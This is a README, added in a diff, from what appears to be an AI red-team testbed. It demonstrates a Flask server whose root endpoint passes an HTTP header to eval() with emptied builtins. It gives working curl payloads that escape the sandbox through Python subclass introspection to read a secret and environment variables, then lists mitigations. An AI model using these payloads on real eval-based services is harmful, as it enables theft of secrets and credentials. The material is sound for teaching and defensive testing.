|
| 1 | +# Finding 1: Flask eval() Vulnerability Demonstration |
| 2 | + |
| 3 | +## Overview |
| 4 | + |
| 5 | +This directory contains a vulnerable Flask web server that demonstrates a critical code injection vulnerability through Python's `eval()` function. The server appears to have restricted the `eval()` context by emptying `__builtins__`, but this restriction can be bypassed using Python's class introspection capabilities. |
| 6 | + |
| 7 | +**⚠️ SECURITY NOTICE**: This is for **DEFENSIVE SECURITY TESTING ONLY**. This demonstration is designed for educational purposes and to improve AI safety by identifying dangerous code patterns. |
| 8 | + |
| 9 | +## Prerequisites & Setup |
| 10 | + |
| 11 | +1. Navigate to the **top-level project folder** (red-team-testbed-for-gpt-oss) |
| 12 | +2. Ensure all dependencies are installed: |
| 13 | + ```bash |
| 14 | + uv sync |
| 15 | + ``` |
| 16 | + |
| 17 | +## Running the Vulnerable Server |
| 18 | + |
| 19 | +From the top-level project directory, start the server using: |
| 20 | + |
| 21 | +```bash |
| 22 | +uv run python doc/finding_1/server.py |
| 23 | +``` |
| 24 | + |
| 25 | +The server will start on port 8000 and display: |
| 26 | + |
| 27 | +``` |
| 28 | +* Running on http://127.0.0.1:8000 |
| 29 | +* Running on http://192.168.1.4:8000 |
| 30 | +``` |
| 31 | + |
| 32 | +## Server Endpoints |
| 33 | + |
| 34 | +The Flask server provides several endpoints: |
| 35 | + |
| 36 | +- `GET /health` - Health check endpoint |
| 37 | +- `GET /random` - Returns a random number |
| 38 | +- `GET /concat-reverse?s1=hello&s2=world` - Concatenates and reverses two strings |
| 39 | +- `GET /` - **VULNERABLE ENDPOINT** - Processes X-Math header with eval() |
| 40 | + |
| 41 | +## The Vulnerability |
| 42 | + |
| 43 | +The root endpoint (`/`) contains a dangerous "easter egg" that evaluates Python expressions passed in the `X-Math` HTTP header: |
| 44 | + |
| 45 | +```python |
| 46 | +expr = request.headers.get("X-Math") |
| 47 | +if expr is not None: |
| 48 | + try: |
| 49 | + result = eval(expr, {"__builtins__": {}}) |
| 50 | + resp.headers["X-Math"] = str(result) |
| 51 | + except Exception: |
| 52 | + resp.status_code = 400 |
| 53 | +``` |
| 54 | + |
| 55 | +While the code attempts to restrict access by emptying `__builtins__`, this can be bypassed using Python's class introspection. |
| 56 | + |
| 57 | +## Exploitation Steps |
| 58 | + |
| 59 | +### Step 1: Test Basic Math |
| 60 | + |
| 61 | +First, verify the eval() functionality works: |
| 62 | + |
| 63 | +```bash |
| 64 | +curl -v -H "X-Math: 2+2" http://localhost:8000 |
| 65 | +``` |
| 66 | + |
| 67 | +**Expected Response**: `X-Math: 4` in the response headers. |
| 68 | + |
| 69 | +### Step 2: Discover Available Classes |
| 70 | + |
| 71 | +Use Python's class introspection to list all available classes: |
| 72 | + |
| 73 | +```bash |
| 74 | +curl -v -H "X-Math: (1).__class__.__mro__[1].__subclasses__()" http://localhost:8000 |
| 75 | +``` |
| 76 | + |
| 77 | +This returns a massive list of all Python classes available in the runtime, including `<class '__main__.Config'>`. |
| 78 | + |
| 79 | +### Step 3: Access the Config Class |
| 80 | + |
| 81 | +Filter the subclasses to find our target Config class: |
| 82 | + |
| 83 | +```bash |
| 84 | +curl -v -H "X-Math: [x for x in (1).__class__.__mro__[1].__subclasses__() if x.__name__ == 'Config'][0]" http://localhost:8000 |
| 85 | +``` |
| 86 | + |
| 87 | +**Expected Response**: `X-Math: <class '__main__.Config'>` |
| 88 | + |
| 89 | +### Step 4: Extract the Secret |
| 90 | + |
| 91 | +Access the Auth attribute from the Config class: |
| 92 | + |
| 93 | +```bash |
| 94 | +curl -v -H "X-Math: [x for x in (1).__class__.__mro__[1].__subclasses__() if x.__name__ == 'Config'][0].Auth" http://localhost:8000 |
| 95 | +``` |
| 96 | + |
| 97 | +**🎯 SUCCESS**: `X-Math: TOP_SECRET` |
| 98 | + |
| 99 | +## Technical Explanation |
| 100 | + |
| 101 | +### The Attack Chain |
| 102 | + |
| 103 | +1. **Class Introspection**: `(1).__class__` gets the `int` class |
| 104 | +2. **Method Resolution Order**: `.__mro__[1]` gets the `object` base class |
| 105 | +3. **Subclass Discovery**: `.__subclasses__()` lists all classes inheriting from `object` |
| 106 | +4. **Filter Target**: Find the `Config` class by name |
| 107 | +5. **Attribute Access**: Directly access `Config.Auth` to extract the secret |
| 108 | + |
| 109 | +### Why **builtins** Restriction Failed |
| 110 | + |
| 111 | +The `{"__builtins__": {}}` restriction only prevents direct access to built-in functions like `open()`, `exec()`, etc. However, it doesn't prevent: |
| 112 | + |
| 113 | +- Access to existing objects in the current namespace |
| 114 | +- Python's fundamental object introspection capabilities |
| 115 | +- Class attribute access |
| 116 | +- Method calls on existing objects |
| 117 | + |
| 118 | +### The Global Config Object |
| 119 | + |
| 120 | +The server defines a global configuration object: |
| 121 | + |
| 122 | +```python |
| 123 | +class Config: |
| 124 | + Auth = 'TOP_SECRET' |
| 125 | + |
| 126 | +config = Config() |
| 127 | +``` |
| 128 | + |
| 129 | +This object becomes accessible through Python's class system, even with restricted builtins. |
| 130 | + |
| 131 | +## Security Implications |
| 132 | + |
| 133 | +### Why This Is Dangerous |
| 134 | + |
| 135 | +1. **Code Injection**: Arbitrary Python code execution |
| 136 | +2. **Information Disclosure**: Access to sensitive application data |
| 137 | +3. **Privilege Escalation**: Potential access to system resources |
| 138 | +4. **Data Exfiltration**: Ability to extract secrets and configuration |
| 139 | + |
| 140 | +### Real-World Impact |
| 141 | + |
| 142 | +In production environments, this vulnerability could lead to: |
| 143 | + |
| 144 | +- Database credential theft |
| 145 | +- API key extraction |
| 146 | +- Session token compromise |
| 147 | +- Internal system access |
| 148 | +- Complete application takeover |
| 149 | + |
| 150 | +### Mitigation Strategies |
| 151 | + |
| 152 | +1. **Never use eval() with user input** - Use safer alternatives like `ast.literal_eval()` for literals |
| 153 | +2. **Input validation** - Strictly validate and sanitize all user input |
| 154 | +3. **Sandboxing** - If evaluation is absolutely necessary, use proper sandboxing solutions |
| 155 | +4. **Principle of least privilege** - Don't store secrets in global variables |
| 156 | +5. **Code review** - Regular security audits to identify dangerous patterns |
| 157 | + |
| 158 | +## Example Attack Variations |
| 159 | + |
| 160 | +### Access Environment Variables |
| 161 | + |
| 162 | +```bash |
| 163 | +curl -H "X-Math: [x for x in (1).__class__.__mro__[1].__subclasses__() if 'os' in x.__module__][0]._os.environ" http://localhost:8000 |
| 164 | +``` |
| 165 | + |
| 166 | +### File System Access (if available) |
| 167 | + |
| 168 | +```bash |
| 169 | +curl -H "X-Math: [x for x in (1).__class__.__mro__[1].__subclasses__() if x.__name__ == 'TextIOWrapper'][0]" http://localhost:8000 |
| 170 | +``` |
| 171 | + |
| 172 | +## Cleanup |
| 173 | + |
| 174 | +To stop the server, press `Ctrl+C` in the terminal where it's running. |
| 175 | + |
| 176 | +## Disclaimer |
| 177 | + |
| 178 | +**This demonstration is for DEFENSIVE SECURITY PURPOSES ONLY**: |
| 179 | + |
| 180 | +- ✅ Educational security research |
| 181 | +- ✅ Vulnerability identification training |
| 182 | +- ✅ AI safety improvement |
| 183 | +- ✅ Defensive security testing |
| 184 | + |
| 185 | +- ❌ Unauthorized access to systems |
| 186 | +- ❌ Malicious exploitation |
| 187 | +- ❌ Production use |
| 188 | + |
| 189 | +Understanding these vulnerabilities helps developers write more secure code and helps security professionals identify similar issues in real applications. |
| 190 | + |
| 191 | +--- |
| 192 | + |
| 193 | +**For more information about the red team testbed project, see the main README.md in the project root.** |
0 commit comments